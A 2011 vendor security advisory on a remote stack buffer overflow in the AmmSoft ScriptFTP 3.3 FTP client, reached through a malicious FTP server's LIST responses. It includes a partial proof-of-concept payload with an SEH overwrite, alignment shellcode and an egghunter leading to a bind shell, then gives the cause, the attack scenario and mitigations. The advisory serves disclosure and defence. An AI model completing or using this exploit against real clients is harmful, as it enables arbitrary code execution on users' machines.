LIONIC®
Security Chip Provider

23/09/2011
Doc No: SN-2011-39016

Security News

2011-39016 AmmSoft ScriptFTP 3.3 Client Remote Buffer Overflow Vulnerability

1. Affected Version

AmmSoft ScriptFTP 3.3

2. Description

ScriptFTP is a FTP client designed to automate file transfers. It follows the commands written on a text file (also called script file) and makes the uploads or downloads automatically.

A remote stack overflow vulnerability has been identified in AmmSoft ScriptFTP 3.3.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
junk = "A" * 1746       #junk
nseh = "\x61\x62"       #nseh
seh = "\x45\x5B"        #seh ppr somewhere on scriptftp dir

#prepare for align
align = "\x60"          #pushad
align += "\x73"         #nop/align
align += "\x53"         #push ebx
align += "\x73"         #nop/align
align += "\x58"         #pop eax
align += "\x73"         #nop/align
align += "\x05\x02\x11"         #add eax,0x11000200
```

```
   align += "\x73"                  #nop/align
   align += "\x2d\x01\x11"          #sub eax,0x11000120
   align += "\x73"                  #nop/align

   #walking
   walk = "\x50"            #push eax
   walk += "\x73"           #nop/align
   walk += "\xc3"           #ret

   #align again
   align2 = "0t0t" + "\x73\x57\x73\x58\x73"        #nop/push edi/nop/pop
eax/nop
   align2 += "\xb9\x1b\xaa"             #mov ecx,0xaa001b00
   align2 += "\xe8\x73"             #add al,ch + nop
   align2 += "\x50\x73\xc3"             #push eax,nop,ret
   sampah1 = "\x44" * 106 + "\x73"      #eax+106/align nop
   sampah2 = "\x42" * 544           #right after shellcode

   crash = junk+nseh+seh+align+walk+sampah1+egghunter+sampah2+align2+bind+sam-
pah1
```

Table 1: The partial proof-of-concept code

The vulnerability is caused due to filename length checking insufficiently when processing FTP LIST commands. ScriptFTP follows the commands written on a text file (also called script file). Specifically, processing ScriptFTP with text file/script file contains command GETLIST or GETFILE of 3000 or more bytes of data may trigger an exception within the client, causing it to crash and lead to stack overflow.

A remoter attacker can setup a malicious FTP server that will exploit the vulnerability to cause a denial-of-service crash or may execute arbitrary code on the client's computer with the permissions of the ScriptFTP client user.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 23/09/2011.

2. **DO NOT** connect to untrusted FTP servers.

5. Reference

1. http://www.kb.cert.org/vuls/id/440219
2. http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/